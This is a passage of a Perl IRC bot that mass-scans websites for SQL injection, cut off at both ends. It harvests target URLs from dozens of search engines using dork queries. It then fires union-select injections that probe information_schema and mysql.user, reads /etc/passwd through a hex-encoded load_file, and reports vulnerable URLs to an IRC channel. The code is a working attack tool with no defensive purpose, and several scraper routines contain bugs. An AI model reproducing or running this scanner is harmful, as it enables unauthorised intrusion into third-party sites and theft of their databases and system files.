- $response=get($sql)or die("[-] Impossible to get Information_Schema\n");
- if($response =~ /loginpwnz/)
- {
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
- &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13INFO_SCHEMA15)13 $sql ");
- }
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
- $response=get($sql)or die("[-] Impossible to get MySQL.User\n");
- if($response =~ /loginpwnz/)
- {
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
- &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13USER15)13 $sql ");
- }
- else
- {
- }
- while ($loadcont < $column-1)
- {
- $loadfile.=','.'load_file(0x2f6574632f706173737764)';
- $loadcont++;
- }
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
- $response=get($sql)or die("[-] Impossible to inject LOAD_FILE\n");
- if($response =~ /root:x:/)
- {
- &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13Load File15)13 $sql ");
- }
- else
- {
- }
- foreach $tabla(@tabele)
- {
- chomp($tabla);
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
- $response=get($sql)or die("[-] Impossible to get tables\n");
- if($response =~ /loginpwnz/)
- {
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
- &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)(4@13Tabel15)13 $sql ");
- &tabelka($situs,$tabla,$chan,$engine);
- }
- }
- }
- }
- }
- #########################################
- sub search_engine() {
- my (@total,@clean);
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $logo = $_[4];
- if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
- if ($engine eq "AllTheWeb") { my @alltheweb = &alltheweb($dork); push(@total,@alltheweb); }
- if ($engine eq "Bing") { my @bing = bing($dork); push(@total,@bing); }
- if ($engine eq "ALtaViSTa") { my @altavista = &altavista($dork); push(@total,@altavista); }
- if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
- if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
- if ($engine eq "YahOo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
- #new
- if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
- if ($engine eq "TisCali") { my @tiscali = &tiscali($dork); push(@total,@tiscali); }
- if ($engine eq "CluSty") { my @clusty = &clusty($dork); push(@total,@clusty); }
- if ($engine eq "GutSer") { my @gutser = &gutser($dork); push(@total,@gutser); }
- if ($engine eq "ExaLead") { my @exalead = &exalead($dork); push(@total,@exalead); }
- if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
- if ($engine eq "VirgiLio") { my @virgilio = &virgilio($dork); push(@total,@virgilio); }
- if ($engine eq "WebDe") { my @webde = &webde($dork); push(@total,@webde); }
- if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
- if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
- if ($engine eq "LyGo") { my @lygo = &lygo($dork); push(@total,@lygo); }
- if ($engine eq "YauSe") { my @yause = &yause($dork); push(@total,@yause); }
- if ($engine eq "BaiDu") { my @baidu = &baidu($dork); push(@total,@baidu); }
- if ($engine eq "BLacK") { my @black = &black($dork); push(@total,@black); }
- if ($engine eq "oNeT") { my @onet = &onet($dork); push(@total,@onet); }
- if ($engine eq "SiZuka") { my @sizuka = &sizuka($dork); push(@total,@sizuka); }
- if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
- if ($engine eq "SeZnaM") { my @seznam = &seznam($dork); push(@total,@seznam); }
- if ($engine eq "NaVeR") { my @naver = &naver($dork); push(@total,@naver); }
- if ($engine eq "GiBLa") { my @gibla = &gibla($dork); push(@total,@gibla); }
- if ($engine eq "Yebol") { my @yebol = &yebol($dork); push(@total,@yebol); }
- if ($engine eq "Amidalla") { my @amidalla = &amidalla($dork); push(@total,@amidalla); }
- if ($engine eq "Kvasir") { my @kvasir = &kvasir($dork); push(@total,@akvasir); }
- if ($engine eq "Buscar") { my @buscar = &buscar($dork); push(@total,@buscar); }
- if ($engine eq "Excite") { my @excite = &excite($dork); push(@total,@excite); }
- if ($engine eq "Interia") { my @interia = &interia($dork); push(@total,@interia); }
- if ($engine eq "Snz") { my @snz = &snz($dork); push(@total,@snz); }
- if ($engine eq "Rambler") { my @rambler = &rambler($dork); push(@total,@rambler); }
- if ($engine eq "Yandex") { my @yandex = &yandex($dork); push(@total,@yandex); }
- if ($engine eq "Blackle") { my @blackle = &blackle($dork); push(@total,@blackle); }
- if ($engine eq "Wikipedia") { my @wiki = &wiki($dork); push(@total,@wiki); }
- if ($engine eq "YauSe") { my @yause = &yause($dork); push(@total,@yause); }
- if ($engine eq "RoSe") { my @rose = &rose($dork); push(@total,@rose); }
- if ($engine eq "DucK") { my @duck = &duck($dork); push(@total,@duck); }
- if ($engine eq "mamma") { my @mamma = &mamma($dork); push(@total,@mamma); }
- if ($engine eq "fireball") { my @fireball = &fireball($dork); push(@total,@fireball); }
- if ($engine eq "abacho") { my @abacho = &abacho($dork); push(@total,@abacho); }
- if ($engine eq "netscape") { my @netscape = &netscape($dork); push(@total,@netscape); }
- if ($engine eq "webcrawl") { my @webcrawl = &webcrawl($dork); push(@total,@webcrawl); }
- if ($engine eq "live") { my @live = &live($dork); push(@total,@live); }
- if ($engine eq "GooGLe2") { my @google2 = &GooGLe2($dork); push(@total,@google2); }
- if ($engine eq "GooGLe3") { my @google3 = &GooGLe3($dork); push(@total,@google3); }
- @clean = clean(@total);
- &msg("$chan","$logo(4@8$engine15)4 Total:0 (".scalar(@total).")4 Clean:0 (".scalar(@clean).")");
- return @clean;
- }
- #########################################
- sub isFound() {
- my $status = 0;
- my $link = $_[0];
- my $reqexp = $_[1];
- my $res = &get_content($link);
- if ($res =~ /$reqexp/) { $status = 1 }
- return $status;
- }
- sub get_content() {
- my $url = $_[0];
- my $ua = LWP::UserAgent->new(agent => $uagent);
- $ua->timeout(7);
- my $req = HTTP::Request->new(GET => $url);
- my $res = $ua->request($req);
- return $res->content;
- }
- ######################################### SEARCH ENGINE gibla
- sub google() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=400; $i+=10){
- my $search = ("http://www.google.com/search?q=".&key($key)."&num=100&filter=0&start=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- if ($1 !~ /google/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub alltheweb() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100) {
- my $search = ("http://us.yhs4.search.yahoo.com/yhs/search?fr=alltheweb&cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/\*\*http%3a\/\/(.+?)\">/g) {
- my $link = $1;
- if ($link !~ /bingj|yahoo/) {
- $link =~ s/ //g;
- $link =~ s/%3f/\?/g;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub uol() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://mundo.busca.uol.com.br/buscar.html?q=".key($key)."&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
- my $link = $1;
- if ($link !~ /busca|uol|yahoo/) {
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bing() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".key($key)."&filt=all&first=".$i."&FORM=PERE");
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /msn|live|bing/) {
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub altavista() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10){
- my $search = ("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<span class=ngrn>(.+?)\//g) {
- my $link = $1;
- if ($link !~ /altavista/){
- $link =~ s/<//g;
- $link =~ s/ //g;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ask() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=10) {
- my $search = ("http://it.ask.com/web?q=".key($key)."&o=0&l=dir&qsrc=0&qid=EE90DE6E8F5370F363A63EC61228D4FE&dm=all&page=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
- my $link = $1;
- if ($link !~ /ask\.com/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahoo() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=1) {
- my $search = ("http://www.search.yahoo.com/search?p=".key($key)."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/26u=(.*?)%26w=/g) {
- my $link = $1;
- if ($link!~ /yahoo/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub sapo() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".key($key)."&st=local");
- my $res = search_engine_query($search);
- if ($res !~ m/Next/i) {$b=50;}
- while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
- if ($link !~ /\.sapo\.pt/){
- my $link = $1;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub tiscali() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=500; $b+=10) {
- my $search = ("http://search.tiscali.it/?tiscalitype=web&collection=web&start=".$b."&q=".key($key));
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick/g) {
- if ($link !~ /tiscali/){
- my $link = $1;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub clusty() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=10; $b<=500; $b+=10) {
- my $search = ("http://search.yippy.com/search?query=".key($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&");
- my $res = search_engine_query($search);
- if ($res !~ /next/) {$b=500;}
- while ($res =~ m/<div class=\"docupareparet-header\"><a href=\"http:\/\/(.*?)\"><span class=\"title\">/g) {
- if ($link !~ /yippy\.com/){
- my $link = $1;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gutser() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://www.goodsearch.com/Search.aspx?Keywords=".key($key)."&page=".$b."&osmax=0");
- my $res = search_engine_query($search);
- while ($res =~ m/http:\/\/([^>\"]*)\">/g) {
- if ($link !~ /goodsearch|good\.is|w3\.org|quantserve/){
- my $link = $1;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub exalead() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=1000; $b+=100) {
- my $search = ("http://www.exalead.com/search/web/results/?q=".key($key)."&elepareparets_per_page=100&start_index=".$b);
- my $res = search_engine_query($search);
- if ($res =~ m/<span id=\"topNextUrl\">/g) {$b=1000;}
- while ($res =~ m/<a class=\"thumbnail\" href=\"http:\/\/(.*?)\"/g) {
- my $link = $1;
- if ($link!~ /exalead/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub lycos() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://search.lycos.com/?query=".key($key)."&page2=".$b."&tab=web&searchArea=web&diktfc=468007302EF7DB9AFE53D4138B848E7B4000D424385F");
- my $res = search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmouseover=/g) {
- if ($link !~ /lycos\.com/){
- my $link = $1;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub virgilio() {
- my @list;
- my $key = $_[0];
- for ($b=10; $b<=500; $b+=10) {
- my $search = ("http://ricerca.virgilio.it/ricerca?qs=".key($key)."&filter=1&site=&lr=&hits=10&offset=".$b);
- my $res = search_engine_query($search);
- if ($res =~ m/non ha prodotto risultati/i) {$b=500;}
- if ($res =~ m/riconducibile a richieste effettuate/i) {$b=500;}
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" target=\"/g) {
- if ($link !~ /\.virgilio\.it/){
- my $link = $1;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub webde() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://suche.web.de/search/web/?pageIndex=".$b."&su=".key($key)."&search=Suche&webRb=countryDE");
- my $res = search_engine_query($search);
- if ($res =~ m/Suchbegriff nicht gefunden/i) {$b=50;}
- while ($res =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g) {
- my $link = $1;
- if ($link!~ /suche|web/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub hotbot() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://www.hotbot.com/?query=".key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
- my $res = search_engine_query($search);
- if ($res =~ m/had no web result/i) {$b=50;}
- while ($res =~ m/rel=\"nofollow\" href=\"http:\/\/(.+?)\"/g) {
- if ($link !~ /hotbot\.com/){
- my $link = $1;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub aol() {
- my @list;
- my $key = $_[0];
- for ($b=2; $b<=50; $b+=1) {
- my $search = ("http://aim.search.aol.com/aol/search?q=".key($key)."&page=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\" property/g) {
- if ($link !~ /aol\.com/){
- my $link = $1;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub lygo() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://www.hotbot.com/?query=".key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=lygo&page2=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
- my $res = search_engine_query($search);
- if ($res =~ m/had no web result/i) {$b=50;}
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"><img/g) {
- if ($link !~ /hotbot\.com/){
- my $link = $1;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yause() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://www.yauba.com/?query=".key($key)."&where=websites&target=websites&con=y&ilang=english&clt=topic&pg=".$b);
- my $res = search_engine_query($search);
- if ($res !~ m/Next/i) {$b=50;}
- while ($res =~ m/<h1><a rel=\"nofollow\" href=\"http:\/\/(.+?)\" onfocus=/g) {
- if ($link !~ /yauba\.com/){
- my $link = $1;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub baidu() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=500; $b+=10) {
- my $search = ("http://www.baidu.com/s?wd=".key($key)."&pn=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/\" href=\"http:\/\/(.*?)\" target=/g) {
- if ($link !~ /baidu\.com/){
- my $link = $1;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub black() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://blekko.com/ws/".key($key)."?ft=&p=".$b);
- my $cek = $b+1;
- my $res = search_engine_query($search);
- if ($res !~ m/<strong>$b<\/strong>/i) {$b=50;}
- while ($res =~ m/class=\"UrlTitleLine\" href=\"http:\/\/(.+?)\"/g) {
- if ($link !~ /blekko/){
- my $link = $1;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub onet() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=50; $b+=1) {
- my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".key($key));
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
- if ($link !~ /webcache|query/){
- my $link = $1;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub sizuka() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=10; $b<=100; $b+=10) {
- my $search = ("http://www.szukacz.pl/szukaj.aspx?ct=polska&pc=polska&q=".key($key)."&start=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/<a title=\"http:\/\/(.+?)\"/g) {
- if ($link !~ /szukacz/){
- my $link = $1;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub walla() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=0; $b<=50; $b+=1) {
- my $search = ("http://search.walla.co.il/?t=0&e=utf&q=".key($key)."&p=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/<td class=sw><a href=\"http:\/\/(.+?)\"/g) {
- if ($link !~ /walla\.co\.il/){
- my $link = $1;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub seznam() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- my $search = ("http://search.seznam.cz/?q=".key($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) {
- if ($link !~ /seznam/){
- my $link = $1;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub naver() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=500; $b+=10) {
- my $search = ("http://web.search.naver.com/search.naver?where=webkr&query=".key($key)."&docid=0〈=all&f=&srcharea=all&st=s&fd=2&start=".$b."&display=10");
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
- if ($link !~ /naver/){
- my $link = $1;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub gibla() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=1000; $b+=10) {
- my $search = ("http://www.gigablast.com/search?s=".$b."&q=".key($key));
- my $res = search_engine_query($search);
- while ($res =~ m/href=http:\/\/(.*?)><font size=/g) {
- my $link = $1;
- if ($link!~ /gigablast/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yebol() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=1000; $b+=10) {
- my $search = ("http://www.yebol.com/a.jsp?key=".key($key).".$b");
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
- if ($link !~ /yebol/){
- my $link = $1;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub amidalla() {
- my @list;
- my $key = $_[0];
- my $i = 0;
- for ($i=0; $i<=100; $i+=10){
- my $search = ("http://www.amidalla.de/cgi-bin/amisearch.cgi?search=".key($key)."&page=".$i."&break=10&af=2&tld=com&et=2");
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\//g){
- if ($link !~ /amidalla/){
- my $link= $1;
- my @grep= links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub kvasir() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=10){
- my $search = ("http://www.kvasir.no/nettsok?offset=".$i."&pageSize=10&q=".key($key));
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
- my $link = $1;
- if ($link !~ /kvasir/){
- $link =~ s/<//g;
- $link =~ s/ //g;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub buscar() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10){
- my $search = ("http://buscar.ozu.es/index.php?etq=web&q=".key($key)."&pag=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
- my $link = $1;
- if ($link !~ /buscar/){
- $link =~ s/<//g;
- $link =~ s/ //g;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub excite() {
- my @list;
- my $key = $_[0];
- my $i = 0;
- for ($i=0; $i<=1000; $i+=100){
- my $search = ("http://msxml.excite.com/excite/ws/redir/_iceUrlFlag=11?qcat=Web&qkw=".key($key)."&qcoll=relevance&zoom=off&bepersistence=true&newtxn=false&qi=41&qk=20&page=".$i."&_IceUrl=true");
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
- if ($link !~ /excite/){
- my $link = $1;
- my @grep= links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub interia() {
- my @list;
- my $key = $_[0];
- for ($i = 0;$i<= 100; $i+= 10) {
- my $search = ("http://www.google.interia.pl/szukaj?q=".key($key)."&s=szukaj&w=sw&szukaj=&p=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/text-decoration: none;\">http:\/\/(.+?)\/(.*)<\/a>/g) {
- my $link = $1;
- if ($link!~ /google|interia/) {
- my @grep= links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub snz() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100) {
- my $search = ("http://searchnz.co.nz/search.aspx?x=0&y=0&q=".key($key)."&page=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/(.+?)\//g) {
- my $link = $1;
- if ($link!~ /searchnz/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub rambler() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=500; $b+=10){
- my $search=("http://nova.rambler.ru/srch?btnG=DtD??DaN?D???!&query=".key($key)."&page=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*)\"/g) {
- my $link = $1;
- if ($link!~ /rambler|nova|cache/ ){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yandex() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=500; $b+=10){
- my $search = ("http://yandex.ru/yandsearch?p=".$b."&text=".key($key)."&lr=84");
- my $res = search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\"/ig) {
- my $link = $1;
- if ($link!~ /yandex/ ){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub blackle() {
- my @list;
- my $key = $_[0];
- for ($b=0; $b<=1000; $b+=10){
- my $search = ("http://www.google.com/cse?cx=013269018370076798483%3A8eec3papwpi&ie=UTF-8&q=".key($key).".$b");
- my $res = search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
- my $link = $1;
- if ($link!~ /blackle/ ){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub wiki() {
- my @list;
- my $key = $_[0];
- my $i = 0;
- for ($i=1; $i<=1000; $i+=100){
- my $search = ("http://en.wikipedia.org/wiki/_iceUrlFlag=11?qcat=Web&qkw=".key($key)."&qcoll=relevance&zoom=off&bepersistence=true&newtxn=false&qi=41&qk=20&page=".$i."&_IceUrl=true");
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
- if ($link !~ /wikipedia/){
- my $link = $1;
- my @grep= links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yause() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=500; $b+=1) {
- my $search = ("http://www.yauba.com/?query=".key($key)."&where=websites&target=websites&con=y&ilang=english&clt=topic&pg=".$b);
- my $res = search_engine_query($search);
- while ($res =~ m/<h1><a rel=\"nofollow\" href=\"http:\/\/(.*?)\" onfocus=/g) {
- my $link = $1;
- if ($link!~ /yauba|websites/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub rose() {
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=10; $b<=6000; $b+=1) {
- my $search = ("http://euroseek.com/system/search.cgi?language=".$lang."&mode=internet&start=".$b."&string=".key($key));
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.+?)\" class=/g) {
- if ($link !~ /euroseek/){
- my $link = $1;
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub duck() {
- my @list;
- my $key = $_[0];
- for ($b=1; $b<=100; $b+=10) {
- my $search = ("http://duckduckgo.com/html/?q=".key($key)."&t=A&l=en&p=1&s=".$b."&o=json&dc=".$b."&api=d.js");
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
- my $link = $1;
- if ($link !~ /duck/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub mamma() {
- my @list;
- my $key = $_[0];
- for (my $i=0;$i<=1000;$i+=10){
- my $search = ("http://www.mamma.com/result.php?type=web&q=".$key."&j_q=&l=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/http:\/\/(.*?)\<\/span>/g) {
- my $link = $1;
- if ($link !~ /mamma.com/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub fireball() {
- my @list;
- my $key = $_[0];
- for (my $i=1;$i<=500;$i+=50){
- my $search = ("http://suche.fireball.de/cgi-bin/pursuit?pag=".$p."&query=".$key."&cat=fb_web&enc=utf-8".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.*?)\" target/g) {
- my $link = $1;
- if ($link !~ /ergab keine Treffer in Deutsche Seiten/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub abacho() {
- my @list;
- my $key = $_[0];
- for (my $i=10;$i<=1000;$i+=0){
- my $search = ("http://search.abacho.com/it/abacho.it/index.cfm?offset=".$p."&poffset=0&StartCounter=".$p."&q=".$key."&a=&b=&country=it&page=&d_html=&d_pdf=&d_msdoc=&d_xls=&d_ppt=&mesearchkey=&cluster=&coop=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g) {
- my $link = $1;
- if ($link !~ /We didn't find any results matching your query/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub netscape() {
- my @list;
- my $key = $_[0];
- for (my $i=1;$i<=1000;$i+=10){
- my $search = ("http://search.aol.com/aol/search?s_it=topsearchbox.search&v_t=nscpsearch&q=".$key."&page=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/url\">http:\/\/(.*?)<\/p>/g) {
- my $link = $1;
- if ($link !~ /search.netscape|aol/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub webcrawl() {
- my @list;
- my $key = $_[0];
- for (my $i=0;$i<=1000;$i+=10){
- my $search = ("http://www.webcrawler.com/webcrawler/ws/redir/qcat=Web/qkw=".$key."/qcoll=relevance/zoom=off/bepersistence=true/qi=".$num."/qk=50/page=".$p."/_iceUrlFlag=11?_IceUrl=true".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/status='http:\/\/(.*?)';/g) {
- my $link = $1;
- if ($link !~ /webcrawler|google/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub live() {
- my @list;
- my $key = $_[0];
- for (my $i= 1; $i<=1000; $i+=10){
- my $search = ("http://search.live.com/results.aspx?q=".$key."&go".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /live/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub GooGLe2() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=1000; $i+=10){
- my $search = ("http://www.google.dk/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- my $link = $1;
- if ($link !~ /google2/){
- my @grep = links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub GooGLe3() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=1000; $i+=100){
- my $search = ("http://www.google.cz/search?q=".key($key)."&num=100&filter=0&start=".$i);
- my $res = search_engine_query($search);
